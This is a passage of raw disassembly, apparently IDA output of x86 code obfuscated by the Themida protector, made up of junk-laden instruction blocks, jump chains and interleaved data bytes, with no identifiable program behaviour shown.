		jmp	loc_4F8FEB
; ---------------------------------------------------------------------------


loc_4F8982:				; CODE XREF: Themida_:004FC9F1j
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	edx
		mov	edx, 78D819C3h
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 2A045B61h
		shr	ecx, 6
		jmp	loc_4F70B4
; ---------------------------------------------------------------------------
		dd offset byte_55C781
		dw 6F83h
		dd 0C0B60F58h, 818734FFh, 4ECh,	24348900h, 0C81170BEh
		dd 0FFEE8310h, 6731E9h,	242C3100h, 5489E9h
		db 0
; ---------------------------------------------------------------------------


loc_4F89D5:				; CODE XREF: Themida_:004F6D76j
		push	2F9E4300h
		pop	edx
		push	0
		sub	[esp], edx
		pop	edx
		push	ecx
		mov	ecx, 44741853h
		or	ecx, 55163F33h
		shl	ecx, 5
		sub	ecx, 75364CF6h
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		jmp	loc_4F9225
; ---------------------------------------------------------------------------
		db 57h
		dd 1077DCBFh, 0D6EF8117h, 0E931875Eh, 0FFFFFA75h
; ---------------------------------------------------------------------------


loc_4F8A14:				; CODE XREF: Themida_:004FDB36j
		xor	[esp], esi
		jmp	loc_4FA50C
; ---------------------------------------------------------------------------
		dd 5724348Bh, 0C781E789h, 4, 8704C783h,	248B243Ch, 0C3815B24h
		dd 4, 2BE56h, 0F3010000h, 241C335Eh, 33241C31h,	0E95C241Ch
		dd 342h, 47882D66h, 5A2434FFh, 4C481h, 1660000h, 15B6E9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4F8A66:				; CODE XREF: Themida_:004FBD27j
		pop	esp
		sub	esp, 4
		jmp	loc_5023CE
; ---------------------------------------------------------------------------
		dw 8158h
		dd 0CD1A34EEh, 52C6014Fh, 2531EEBAh, 8EAC112h, 81DCE951h
		dd 68500000h, 2376h, 0E9242489h, 6447h,	6A563CB8h, 74290533h
		dd 0BF575366h, 316B2EADh, 0E95FF831h, 0FFFFF7DCh, 0FFD25DE9h
		dd 5FFA31FFh, 0CE9D001h, 2C00002Dh, 835A6609h, 0C8904ECh
		dd 35D4E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4F8ACE:				; CODE XREF: Themida_:00501F96j
		mov	esi, [esp]
		jmp	loc_4FA708
; ---------------------------------------------------------------------------


loc_4F8AD6:				; CODE XREF: Themida_:004F891Cj
		pop	edx
		push	ebp
		pop	edx
		jmp	loc_4FD2B4
; ---------------------------------------------------------------------------


loc_4F8ADE:				; CODE XREF: Themida_:004FC8CDj
		movsx	ecx, al
		push	eax
		mov	eax, esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 5BD0346Eh
		push	edx
		mov	edx, 6ACB4163h
		push	ecx
		mov	ecx, 2D3813F5h
		sub	ecx, 1187B1A7h
		add	edx, ecx
		pop	ecx
		jmp	loc_4F6161
; ---------------------------------------------------------------------------
		dd 32EB814Bh, 31E4313Dh, 0EFBBE9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4F8B1A:				; CODE XREF: Themida_:004F6C70j
		and	eax, edi
		mov	edi, [esp]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_4FD111
; ---------------------------------------------------------------------------
		dw 3AB8h
		dd 933FE67Ch, 35E99343h, 29FFFFF4h, 241C8BD8h, 104C483h
		dd 374305D0h, 0C734D4h,	2B492454h, 4941E9h, 12F10500h
		dd 0BF573593h, 771553FFh, 42AEBB53h, 0BE565D30h, 373264D2h
		dd 0E6C1D6F7h, 2DEE8107h, 31525091h, 0EBC15EF3h, 0FFEB8107h
		dd 0E9FFFFFFh, 8BD4h, 53242489h, 4BBh, 245C0100h, 241C8B04h
		dd 31C6E9h, 4C68100h, 83000000h, 348704C6h, 0C4815C24h
		dd 4, 31240C33h, 0C33240Ch, 0C3305C24h,	0FFC0B60Fh, 34FF8734h
		dd 0D467E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4F8BD2:				; CODE XREF: Themida_:004FC467j
		mov	ebp, [esp]
		add	esp, 4
		mov	esi, 79020665h
		sub	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		and	eax, esi
		mov	esi, [esp]
		push	esi
		push	esp
		jmp	loc_4FA5F3
; ---------------------------------------------------------------------------
		db 5Fh,	8Fh, 4
		dd 24248B24h, 1FC4E9h
		db 0
; ---------------------------------------------------------------------------


loc_4F8BFD:				; CODE XREF: Themida_:004FE4D0j
		add	edi, 51FC2780h
		sub	esp, 4
		jmp	loc_5001D8
; ---------------------------------------------------------------------------
aBiuK4s9	db 'ëî"K4é9\',0
		align 2
		dw 8966h
		dd 0F3E92404h, 8AFFFFD0h, 8956241Ch, 4BB53E6h, 0E9000000h
		dd 0C78h, 4C481h, 0E1C10000h, 5FC98103h, 4128DB09h, 0FFF7ECE9h
		dd 55D901FFh, 0C26370BDh, 5DE92934h
		db 8Bh,	1Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xchg	ecx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		jmp	loc_4FEA5B
; ---------------------------------------------------------------------------
		db 5Ch,	0E9h, 8Fh
		dd 80FFFFD0h, 2BE919EDh, 5800003Eh, 0E904C483h,	20B9h
		dd 8106EDC1h, 460397F5h, 29C5814Ah, 0D123B35Fh,	0C8ED81E5h
		dd 50DF543Bh, 46EEB8h, 0F3090560h, 0D4E9A006h
		db 8Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_4F8CBB:				; CODE XREF: Themida_:004F5D3Cj
		push	cx
		mov	ch, 0FFh
		jmp	loc_4FED62
; ---------------------------------------------------------------------------


loc_4F8CC4:				; CODE XREF: Themida_:004F6E6Aj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_4F9452
; ---------------------------------------------------------------------------
aZIfysbg	db 'Z(ëfYébƒ',0
		align 2
		dw 0F381h
		dd 5E3D04BAh, 1EE9D989h
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_4F8CEF:				; CODE XREF: Themida_:004F82FBj
		push	ebp
		mov	ebp, 688C0CE4h
		push	ebp
		neg	dword ptr [esp]
		pop	ebp
		xor	ebp, 0C2A4ED0Ch
		add	ebx, ebp
		pop	ebp
		or	ebx, 11F80806h
		xor	ebx, 3F9C5695h
		jmp	loc_4FB1BC
; ---------------------------------------------------------------------------


loc_4F8D14:				; CODE XREF: Themida_:004F61C7j
		xor	eax, 4A0E2648h
		sub	ebx, 51D979E1h
		jmp	loc_4FEDDC
; ---------------------------------------------------------------------------
		dd 6A3723BDh, 7E5C102h,	8101C583h, 8C71CAC5h, 36C5810Ch
		dd 0E9502F0Bh, 0FFFFF37Fh, 8103E7C1h, 9E5DD9CFh, 0ECBA5214h
		dd 81555D36h, 0FF1BBFE2h, 0DAE28167h, 4A7C194Ch, 45AEE9h
		dd 48B6600h, 4EC8124h, 89000000h, 5E542434h, 42E95650h
		dd 66000026h
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		push	edi
		push	edx
		mov	edx, 26501B48h
		shl	edx, 3
		shr	edx, 7
		dec	edx
		jmp	loc_4FBA8A
; ---------------------------------------------------------------------------
		dw 0D366h
		dd 0E99C240Ch, 6673h, 4C481h, 34870000h, 24248B24h, 3D12C781h
		dd 0CF012D4Dh, 8904EC83h, 0EAE9242Ch, 6600004Ah, 0E924048Bh
		dd 0FFFFE9DBh, 0FF2434FFh, 51E92434h
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4F8DCF:				; CODE XREF: Themida_:004FF450j
		push	ebp
		mov	ebp, 576C3DE6h
		xor	ebp, 4E20DFDh
		xor	ebp, 6CE364B8h
		xor	ebp, 0C741636h
		jmp	loc_4F6E55
; ---------------------------------------------------------------------------
		dd 5C24048Fh, 91FEE9h, 4832BB00h, 0E94B25F3h, 81C0h
; ---------------------------------------------------------------------------


loc_4F8E00:				; CODE XREF: Themida_:004FD67Dj
		pop	ebx
		add	ebx, 4
		jmp	loc_500F73
; ---------------------------------------------------------------------------
aZ4S		db '‡4$é/\',0
		align 4


loc_4F8E14:				; CODE XREF: Themida_:004FC9CBj
		push	4B52h
		mov	[esp], edx
		mov	edx, 71B63FE0h
		shr	edx, 2
		jmp	loc_50149C
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 6Ah
		dd 29DD5901h, 835959CDh, 2C3302C5h, 242C3124h, 5C242C33h
		dd 0FFD363E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4F8E45:				; CODE XREF: Themida_:004F7A19j
		push	ebp
		mov	ebp, 4BE304AAh
		jmp	loc_4F912E
; ---------------------------------------------------------------------------
		dd 8324048Fh, 5B042404h, 8F9CE9h, 84CE8100h, 0C115152Eh
		dd 0BF5704EEh, 326324B7h, 7783E9h, 3748BD00h, 0E9312B8Eh
		dd 1064E9h
		db 0
; ---------------------------------------------------------------------------


loc_4F8E7D:				; CODE XREF: Themida_:004FC064j
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		sub	[edi+24h], edx
		pop	edx


loc_4F8E86:				; CODE XREF: Themida_:004FA5E2j
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebx
		pop	edx
		push	0E8Eh
		mov	[esp], edx
		jmp	loc_4F7A2C
; ---------------------------------------------------------------------------
		dd 0C8B665Ch, 1926E924h, 348B0000h, 4C48124h, 0E9000000h
		dd 7D3Ch, 9AEA8158h, 12BFD06h, 9AC281CAh, 592BFD06h, 0FFF0E9E9h
		dd 81DA01FFh, 0F905C4EAh, 8D90E916h, 0EB810000h, 57CF409Dh
		dd 5280E9h
		db 0
; ---------------------------------------------------------------------------


loc_4F8EE5:				; CODE XREF: Themida_:004FF6C2j
		push	ecx
		push	89C3FB7h
		pop	ecx
		push	edx
		jmp	loc_4FC3FD
; ---------------------------------------------------------------------------
		dw 1C87h
		dd 4215C24h, 25E99C24h,	5BFFFFE9h, 0CAE9C8FEh
		db 61h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_4F8F07:				; CODE XREF: Themida_:004FC5FAj
		push	240Fh
		jmp	loc_4F9B8E
; ---------------------------------------------------------------------------
		db 1, 0DEh, 5Bh
		dd 8B243487h, 0C4832424h, 24042904h, 0CDECE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4F8F26:				; CODE XREF: Themida_:004F75DFj
		pop	eax
		jmp	loc_4F8258
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 24041158h, 0CDD8E99Ch, 3C87FFFFh,	86685C24h
		dd 89000060h, 0FBA2414h, 2D0ADD17h, 77F31687h, 0BB53D029h
		dd 70385C09h, 6F05E9h, 0D4F28100h, 4A38CB64h, 6B75E9h
		dd 241C3300h, 0C89665Ch, 0CD9CE924h, 0E95EFFFFh, 70B1h
		dd 0C2815859h, 2, 0E9241487h, 2C7Bh, 59CD0158h,	7C8EE9h
		dd 0E9CE8900h, 6579h
; ---------------------------------------------------------------------------


loc_4F8F9C:				; CODE XREF: Themida_:004FEB72j
		or	ecx, 26E960C1h
		sub	ecx, 33321878h
		xor	edx, ecx
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	esi
		mov	esi, 2669481Ch
		not	esi
		shr	esi, 7
		add	esi, 0FE4CD295h
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		xchg	eax, [esp]
		jmp	loc_4FD7CE
; ---------------------------------------------------------------------------


loc_4F8FD6:				; CODE XREF: Themida_:004FB9B3j
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		jmp	loc_4FED96
; ---------------------------------------------------------------------------


loc_4F8FEB:				; CODE XREF: Themida_:004F897Dj
		xor	ecx, 15852CACh
		sub	ebx, ecx
		jmp	loc_4FA8F8
; ---------------------------------------------------------------------------
		dd 0F988D788h, 2434FF5Bh, 0E189515Ah, 4C181h, 0C1830000h
		dd 0E8B7E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4F9012:				; CODE XREF: Themida_:004F5F98j
		sub	ebp, 4
		push	ebp
		jmp	loc_501E84
; ---------------------------------------------------------------------------
		db 81h
		dd 5E529EC2h, 0D431E962h, 6664FFFFh, 5702B60Fh,	51E28952h
		dd 0A64FB0B9h, 55E1D161h, 377028BDh, 5DE90118h,	38A4E9h
		db 0
; ---------------------------------------------------------------------------


loc_4F9045:				; CODE XREF: Themida_:004FE49Ej
		push	ecx
		mov	ecx, 65457175h
		sub	ecx, 65310B66h
		or	ebp, ecx
		jmp	loc_500BE8
; ---------------------------------------------------------------------------
aFqSfn		db 'fQµ',0Dh,'é”N',0
		db 0
; ---------------------------------------------------------------------------


loc_4F9061:				; CODE XREF: Themida_:004FF9E2j
		xor	ebx, [esp]
		jmp	loc_50257E
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
aWsiy		db 'Wé©Y',0
		align 2
aZSar		db '‡<$éaR',0
		align 2
		dw 8B66h
		dd 56502404h, 0FFCD60E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4F9085:				; CODE XREF: Themida_:00500C07j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_4FDCC5
; ---------------------------------------------------------------------------


loc_4F9091:				; CODE XREF: Themida_:004FA583j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	edi
		mov	edi, esp
		add	edi, 4
		push	esi
		jmp	loc_4FF322
; ---------------------------------------------------------------------------
aISel		db '‰<$éel',0
		align 2


loc_4F90B6:				; CODE XREF: Themida_:004FE04Ej
		pop	ebp
		push	edi
		mov	edi, 1C133BDDh
		xor	edi, 8312BDBh
		sub	esi, 77302C3Ch
		sub	esi, edi
		add	esi, 77302C3Ch
		pop	edi
		jmp	loc_4F751D
; ---------------------------------------------------------------------------


loc_4F90D7:				; CODE XREF: Themida_:004FE815j
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		or	eax, eax
		jz	loc_4FD95C
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		pop	ecx
		push	2021h
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		jmp	loc_500BC9
; ---------------------------------------------------------------------------
		dw 8159h
		dd 4C1h, 4C18100h, 87000000h, 315C240Ch, 148B66C3h, 0CFD9E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4F912E:				; CODE XREF: Themida_:004F8E4Bj
		or	ebp, 1A105586h
		add	ebp, offset word_4A3AF6
		sub	ebp, 4BF88036h
		add	ecx, ebp
		pop	ebp
		sub	ecx, 6B650971h
		sub	ecx, edi
		add	ecx, 6B650971h
		push	esi
		mov	esi, 75283968h
		jmp	loc_4F9A92
; ---------------------------------------------------------------------------
		dd 0E92C77FFh, 87E8h
; ---------------------------------------------------------------------------


loc_4F9164:				; CODE XREF: Themida_:004F649Bj
		add	eax, 77FA7F13h
		push	2Dh
		mov	[esp], eax
		pop	esi
		mov	eax, [esp]
		add	esp, 4
		sub	eax, esi
		pop	esi
		push	7C65h
		mov	[esp], ebp
		push	edx
		mov	edx, 10h
		mov	ebp, edx
		pop	edx
		jmp	loc_500CE7
; ---------------------------------------------------------------------------
		dd 0F681DEF7h, 32B40C9Ah, 3B1A6855h, 8EE95CE8h,	81000045h
		dd 4C2h, 0E880E900h, 34FFFFFFh,	0E9575D24h, 2E37h, 6604C483h
		dd 0E900B60Fh, 0FFFFF77Fh, 74FF515Ah, 92E90424h, 1000042h
		dd 2434FFEAh, 4C4835Dh,	0FFCBB8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4F91E1:				; CODE XREF: Themida_:004FF270j
		sub	dword ptr [esp+4], 449A7DA3h
		add	[esp+4], ebx
		jmp	loc_4FF233
; ---------------------------------------------------------------------------
aQtysta		db 'QTYéT€',0
		align 2


loc_4F91FA:				; CODE XREF: Themida_:004FD2BEj
		mov	eax, ebx
		mov	edi, eax
		pop	eax
		push	edi
		jmp	loc_4F979F
; ---------------------------------------------------------------------------
		db 0E9h, 8, 0CBh
		dd 1487FFFFh, 0E9535C24h, 242Ch, 2B60F66h, 3F1A6866h, 24048966h
		dd 213CE9h
		db 0
; ---------------------------------------------------------------------------


loc_4F9225:				; CODE XREF: Themida_:004F89FEj
		add	ecx, 692FE4EBh
		jmp	loc_4F949A
; ---------------------------------------------------------------------------
		dd 83C32858h, 148904ECh, 0A7DE924h, 0C3800000h,	296866F0h
		dd 14896678h, 0CED2E924h, 248BFFFFh, 0CABCE924h, 487FFFFh
		dd 0BF575C24h, 558F27E2h, 8895E9h, 0C7E94000h, 0C100002Ah
		dd 0B95106E2h, 1921271Ah, 0F759CA21h, 0DCEA81DAh, 2DC16B70h
		dd 84A35F4h, 7D8DE9h
		db 0
; ---------------------------------------------------------------------------


loc_4F9289:				; CODE XREF: Themida_:004F7D44j
		xchg	esi, [esp]
		pop	esp
		xor	eax, edx
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		mov	ebx, 85F0884h
		jmp	loc_4F85BC
; ---------------------------------------------------------------------------
		dd 59E768h, 0F8DAE900h,	8E68FFFFh, 89000075h, 0E589242Ch
		dd 4C581h, 56520000h, 0A91DB568h, 14CEE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4F92D2:				; CODE XREF: Themida_:004FCF83j
		jmp	loc_4F5D12
; ---------------------------------------------------------------------------


loc_4F92D7:				; CODE XREF: Themida_:004FB9A2j
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		pop	eax
		push	ebp
		push	esp
		pop	ebp
		push	edi
		mov	edi, 7AFA5A9Eh
		jmp	loc_50271F
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 582414F7h, 0ABE95057h, 80000065h, 8359B4C3h,	0C8904ECh
		dd 0EC13E924h, 5E5BFFFFh, 129DE9h, 0C8BF0F00h, 5D3A68h
		dd 240C8900h, 0FFC9EDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4F9325:				; CODE XREF: Themida_:005014B1j
		add	ecx, 3C89594Fh
		jmp	loc_4FCA24
; ---------------------------------------------------------------------------
		dd 240C335Eh, 33240C31h, 248B240Ch, 48B6624h, 5B545324h
		dd 4C381h, 0EB830000h, 241C8704h, 0FFDBBBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4F9355:				; CODE XREF: Themida_:004FE6CAj
		add	eax, edi
		add	eax, 0E0A60AAh
		jmp	loc_50221D
; ---------------------------------------------------------------------------


loc_4F9361:				; CODE XREF: Themida_:004FD1ADj
		mov	bl, cl
		mov	cl, dl
		mov	dl, bl
		pop	bx
		push	bx
		push	edx
		mov	dh, 75h
		mov	bl, 25h
		add	bl, dh
		pop	edx
		or	dl, bl
		pop	bx
		add	dl, 1Bh
		jmp	loc_4FBF19
; ---------------------------------------------------------------------------
		db 1
aIlSS		db 'ë‹,$éÇs',0
		db 0
; ---------------------------------------------------------------------------


loc_4F9389:				; CODE XREF: Themida_:005002FCj
		dec	ebp
		xchg	ebp, edx
		jmp	loc_4FB7D7
; ---------------------------------------------------------------------------


loc_4F9391:				; CODE XREF: Themida_:004FFE9Aj
		xchg	ecx, [esp]
		pop	esp
		push	1993h
		jmp	loc_4FA24A
; ---------------------------------------------------------------------------
		db 0B3h
		dd 0FED3F601h, 67ADE9C3h, 0C8BB0000h, 8139F157h, 76AABEBh
		dd 0C2B8503Bh, 2505992Fh, 5913355Dh, 0BD47BD55h, 0D72DCCEDh
		dd 29765D2Fh, 7742E9E8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4F93D2:				; CODE XREF: Themida_:004F8379j
		pop	ebp
		and	ecx, esi
		pop	esi
		shr	ecx, 0Ah
		push	71BAh
		mov	[esp], ebx
		jmp	loc_4F66FC
; ---------------------------------------------------------------------------


loc_4F93E6:				; CODE XREF: Themida_:004FA3EFj
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	5019h
		mov	[esp], ebx
		jmp	loc_4FFB90
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 0ACh
		dd 5857E529h, 2B951h, 0C6810000h, 67E37480h, 2EE9CE01h
		dd 68FFFFEEh, 0FBEAAEADh, 0E9F5015Eh, 522Dh, 0B35312B2h
		dd 0CAEB804Ah, 337FE9h
		db 0
; ---------------------------------------------------------------------------


loc_4F942D:				; CODE XREF: Themida_:00502591j
		sub	edi, 0E929E338h
		jmp	loc_4FEE7E
; ---------------------------------------------------------------------------
		dd 6804C483h, 4B11h, 0B8240489h, 1B68FFh, 8958C631h, 26D3E9F0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4F9452:				; CODE XREF: Themida_:004F8CD3j
		pop	esp
		xchg	ebx, [esp]
		mov	esp, [esp]


loc_4F9459:				; CODE XREF: Themida_:004FC696j
					; Themida_:004FCF99j
		push	dword ptr [edi+24h]
		add	dword ptr [esp], 0D466FE6h
		jmp	loc_4F772C
; ---------------------------------------------------------------------------
		dd 0DF896657h, 0E9FE8966h, 8DD2h
; ---------------------------------------------------------------------------


loc_4F9474:				; CODE XREF: Themida_:004FAA23j
		add	esi, ebp
		add	esi, 2F087D88h
		pop	ebp
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		sub	[esp], al
		pushf
		jmp	loc_4F5D12
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0DE07E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4F949A:				; CODE XREF: Themida_:004F922Bj
		add	edx, ecx
		jmp	loc_4FEF21
; ---------------------------------------------------------------------------
aG9sas		db 'º>^g9éAs',0
		dw 0C100h
		dd 685303E0h, 686Ch, 0BF243C89h, 2E326CB5h, 815FFB89h
		dd 0B5889EBh, 0E9D80116h, 7785h, 575DEB01h, 27738DBFh
		dd 0E9D7F718h, 4433h
; ---------------------------------------------------------------------------


loc_4F94DC:				; CODE XREF: Themida_:004F74F1j
		xor	edi, 65615902h
		shl	edi, 5
		shr	edi, 3
		dec	edi
		sub	edi, 25347EF9h
		sub	edi, 7A566530h
		jmp	loc_4FE0C6
; ---------------------------------------------------------------------------


loc_4F94FA:				; CODE XREF: Themida_:004FA149j
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edx
		mov	edx, 4
		push	edx
		mov	edx, 23D47837h
		sub	esi, edx
		pop	edx
		sub	esi, 75A062ACh
		sub	esi, edx
		push	edx
		jmp	loc_4F8706
; ---------------------------------------------------------------------------
		dw 489h
		dd 4EC8124h, 0E9000000h, 2484h,	0C37CC381h, 565263B1h
		dd 0F289DE89h, 8124348Bh, 4C4h,	5AD58900h, 6C77E9h, 0F7EED100h
		dd 0FFEE81DEh, 68FFFFFFh, 4863h, 0FFDEC2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4F9565:				; CODE XREF: Themida_:004FBB02j
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_501A1F
; ---------------------------------------------------------------------------


loc_4F9579:				; CODE XREF: Themida_:00500BB6j
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_4FA4AD
; ---------------------------------------------------------------------------
		db 0BBh
		dd 4, 8E81E9h
		db 0
; ---------------------------------------------------------------------------


loc_4F958D:				; CODE XREF: Themida_:004FB3A6j
		mov	eax, esp
		add	eax, 4
		push	ebp
		mov	ebp, 63B671Ah
		shl	ebp, 2
		jmp	loc_4FF082
; ---------------------------------------------------------------------------
		dw 0C705h
		dd 297E032Fh, 2FC72DF0h, 2A2D7E03h, 5E337D24h, 0F3233605h
		dd 2DD82976h, 76F32336h, 5FE5BE56h, 1DE93847h, 1FFFFCBh
		dd 4EC81D8h, 89000000h,	7F68240Ch, 5955DB51h, 0E903E9C1h
		dd 4FB7h, 0FF2434FFh, 80E92434h
		db 69h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_4F95EF:				; CODE XREF: Themida_:004FBCFFj
		push	74A151B6h
		jmp	loc_4F6480
; ---------------------------------------------------------------------------
		db 5Ah,	53h, 0E9h
		dd 0FFFFF7F5h, 4C7815Fh, 81000000h, 4C7h, 243C8700h, 8BDD015Ch
		dd 0C481241Ch, 4, 8107EDC1h, 1804A9EDh,	3137E966h, 0F6810000h
		dd 2B605E7h, 80ABC681h,	660551DDh, 29031008h, 0F7E953F0h
		dd 8F000019h, 248B2404h, 2424D224h, 0C6C0E99Ch,	0CA81FFFFh
		dd 7E405ED7h, 6213C281h, 0C28100D1h, 0E5C09D6Bh, 0E95AD001h
		dd 25E7h, 4B8h,	0E0C28100h, 81641076h, 530F2BC2h, 81C2016Ch
		dd 530F2BEAh, 0F0B8506Ch, 2D3DB84Fh, 3AC776BDh,	1FDEE9h
		dd 66DEF600h, 30F3B151h, 0EACAE9CEh, 0F6BFFFFFh, 0E947C52Dh
		dd 412Dh, 240C8B66h, 481468h, 242C8900h, 0BB53E589h, 4
		dd 515BDD01h, 9221CDB9h, 0BCC1816Fh, 0F7470937h, 4EC83D1h
		dd 52240489h, 2035FCBAh, 0FFC2812Bh, 0E9FFFFFFh, 0FFFFDA03h
		dd 0E95B1388h, 0FFFFC622h, 0C381FB01h, 75185666h, 4C3815Fh
		dd 87000000h, 815C241Ch, 5C1D242Ch, 0B8501E01h,	330121F8h
		dd 4244429h, 2B20E9h, 88C38800h, 241C8BDEh, 9D8E9h
		db 0
; ---------------------------------------------------------------------------


loc_4F9725:				; CODE XREF: Themida_:004F9992j
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_4F5D12
; ---------------------------------------------------------------------------
		dd 8704C083h, 0A4E92404h
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_4F973B:				; CODE XREF: Themida_:00501743j
		mov	edx, 72EB6FE0h
		xor	edx, edi
		pop	edi
		xor	edx, 19400A9Fh
		push	edi
		mov	edi, 344F5B75h
		shr	edi, 8
		not	edi
		shl	edi, 3
		xor	edi, 789264AFh
		add	edi, 0FFFFFFFFh
		xor	edi, 0D844F2FBh
		jmp	loc_4FD87A
; ---------------------------------------------------------------------------


loc_4F976E:				; CODE XREF: Themida_:004FE983j
		add	esp, 4
		and	eax, ebx
		pop	ebx
		or	eax, eax
		jz	loc_4FD2B5
		push	dword ptr [edi+28h]
		mov	eax, [esp]
		push	0EF0h
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_4FD23C
; ---------------------------------------------------------------------------
		db 5Ah,	0E9h, 0AFh
		db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4F979F:				; CODE XREF: Themida_:004F9200j
		push	ecx
		mov	ecx, 4C8161E0h
		add	[esp+4], ecx
		pop	ecx
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_4F8654
; ---------------------------------------------------------------------------
aZsh		db '‡éh',0Dh,'[',0
		align 4
		dd 0B8240489h, 4AECF907h, 48BC131h, 4C48324h, 34FFC801h
		dd 0C4835924h, 47272D04h, 0D8290DBBh, 0BB472705h, 0F21DE90Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4F97E6:				; CODE XREF: Themida_:0050096Cj
		mov	ecx, edx
		mov	ebp, ecx
		jmp	loc_4FCE05
; ---------------------------------------------------------------------------
		db 56h
		dd 0C681E689h, 4, 346568h, 24048900h, 50F2BD55h, 814D75D0h
		dd 2FAF13C5h, 5DE8898Ah, 0DCE9C601h, 2900005Dh,	0EEC15FFEh
		dd 0B5EE8106h, 0E9000DA8h, 1DCAh, 0C105EAC1h, 0F28108E2h
		dd 89769CDh, 65F7EA81h,	0EA8143C1h, 0F088928h, 0E95AD301h
		dd 3DCCh, 0C188D088h, 24148B58h, 0C004C483h, 0EC8304E1h
		dd 4896602h, 0EEFEE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4F9862:				; CODE XREF: Themida_:004FE39Ej
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		xor	dword ptr [esp], 68EC44E7h
		jmp	loc_4FFA31
; ---------------------------------------------------------------------------
aNqEHpx		db '­Q¹e;]^hpX',0
		dd 0EE54E900h, 0C483FFFFh, 6BE18004h, 0F180D9F6h, 8852660Eh
		dd 0F65266CAh, 5A662414h, 5A66D188h, 0E99DE980h, 5267h
		dd 835BDE01h, 0FF5604C6h, 5E042474h, 111E9h
		db 0
; ---------------------------------------------------------------------------


loc_4F98B9:				; CODE XREF: Themida_:004F6EF9j
		sub	edx, 0B4E97F6Bh
		mov	ecx, edx
		pop	edx
		xor	ecx, edx
		pop	edx
		add	ebp, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_4FEB5A
		push	dword ptr [edi+1Ch]
		push	edi
		jmp	loc_502596
; ---------------------------------------------------------------------------
		db 89h
		dd 0F3015FFEh, 8806E95Eh, 43BB0000h, 8343A039h,	0C8904ECh
		dd 5A91B924h, 0BF570C87h, 714D5CABh, 3C8BF921h,	4C48324h
		dd 4105E9C1h, 0D5DE981h, 0EFE9DD64h, 2800002Eh,	0F82859CFh
